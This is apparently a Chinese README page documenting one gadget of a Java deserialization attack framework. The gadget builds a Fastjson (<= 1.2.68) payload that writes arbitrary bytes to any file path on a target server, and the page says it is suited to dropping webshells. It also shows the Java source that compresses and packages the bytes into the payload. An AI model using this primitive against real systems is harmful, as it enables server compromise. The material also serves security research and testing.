Skip to content

Latest commit

 

History

History
45 lines (41 loc) · 2.63 KB

File metadata and controls

45 lines (41 loc) · 2.63 KB

FastjsonWriteFileJDK11 1.2.68(FastjsonWriteFileJDK11)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖JDK11(另隐式需要 com.fasterxml.jackson.databind.ObjectMapper 生成内部 JSON;Fastjson <= 1.2.68

作用

生成一段 Fastjson JSON payload,利用 sun.rmi.server.MarshalOutputStreamjava.util.zip.InflaterOutputStreamjava.io.FileOutputStream 的嵌套流,把一段(由内层 gadget 提供的、经 Deflate 压缩的)字节流解压后写入目标磁盘任意路径。是 Fastjson 的任意文件写原语——可落地 webshell、.class.jar 或后续利用所需的文件。名称标注 JDK11,因所用的 InflaterOutputStream+MarshalOutputStream 组合在 JDK11 环境下可稳定解析。

链接标签

  • 入口 tagsFastjsonPayloadEND
    • FastjsonPayload:产出交由 Fastjson Payload 解析的 JSON 字符串。
    • END:本 gadget 是链尾的写文件 sink。
  • 衔接 nextTagsBytecodeDocbaseTagFileSteamConvertTag
    • 表示其内层(被它包裹、提供待写入字节的那一环)应是带 BytecodeDocbaseTagFileSteamConvertTag 入口标签的 gadget,例如 Docbase(字节码落地)、FileSteamFromUploadFile(上传文件流)——由它们产出 byte[],本 gadget 负责压缩并写盘。
  • excludes:无。

源码剖析

invoke 从内层链取出 byte[],交给 getPayload 压缩并封装:

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getPayload((byte[]) chain.doCreate(context));
}
public Object getPayload(byte[] bytes) throws IOException {
    String gzcompress = FastjsonWriteFileJDK11.gzcompress(bytes);      // Deflate + Base64
    LinkedHashMap<String, Object> map = new LinkedHashMap<>();
    map.put("array", gzcompress);
    map.put("limit", Base64.getDecoder().decode(gzcompress).length);   // 解压前字节数
    ObjectMapper mapper = new ObjectMapper();
    String payload = mapper.writerWithDefaultPrettyPrinter().writeValueAsString(map);
    return this.getPayload(this.DestPath, payload);
}
public String getPayload(String target, Object file) throws IOException {
    return String.format(template2, target, file);
}

与前几个 Fastjson gadget 不同,本类真正消费内层 byte[]gzcompressjava.util.zip.Deflater 压缩后 Base64 编码:

public static String gzcompress(byte[] data) {
    Deflater compresser = new Deflater();
    compresser.setInput(data); compresser.finish();
    // ... deflate 到缓冲区后 Base64 编码返回 ...
}